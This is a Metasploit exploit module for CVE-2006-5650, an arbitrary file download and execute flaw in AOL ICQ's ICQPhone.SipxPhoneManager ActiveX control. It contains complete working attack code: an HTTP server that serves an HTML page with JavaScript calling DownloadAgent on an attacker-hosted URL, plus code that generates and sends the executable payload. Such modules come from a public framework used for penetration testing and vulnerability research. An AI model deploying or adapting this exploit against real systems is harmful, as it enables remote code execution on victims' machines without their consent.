##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'America Online ICQ ActiveX Control Arbitrary File Download and Execute',
      'Description'    => %q{
          This module allows remote attackers to download and execute arbitrary files
        on a users system via the DownloadAgent function of the ICQPhone.SipxPhoneManager ActiveX control.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC' ],
      'References'     =>
        [
          [ 'CVE', '2006-5650' ],
          [ 'OSVDB', '30220' ],
          [ 'BID', '20930'  ],
          [ 'ZDI', '06-037' ],
        ],
      'Payload'        =>
        {
          'Space'           => 2048,
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', { } ],
        ],
      'DisclosureDate' => '2006-11-06',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
      ])
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)

    payload_url =  "http://"
    payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
    payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/PAYLOAD"

    if (request.uri.match(/PAYLOAD/))
      return if ((p = regenerate_payload(cli)) == nil)
      data = generate_payload_exe({ :code => p.encoded })
      print_status("Sending EXE payload")
      send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
      return
    end

    vname  = rand_text_alpha(rand(100) + 1)
    exe    = rand_text_alpha_upper(rand(5) + 1)

    content = %Q|
  <html>
    <head>
      <script>
        try {
          var #{vname} = new ActiveXObject('ICQPhone.SipxPhoneManager.1');
          #{vname}.DownloadAgent("#{payload_url}/#{exe}.exe");
        } catch( e ) { window.location = 'about:blank' ; }
      </script>
    </head>
  </html>
        |

    print_status("Sending exploit...")

    send_response_html(cli, content)

    handler(cli)

  end
end
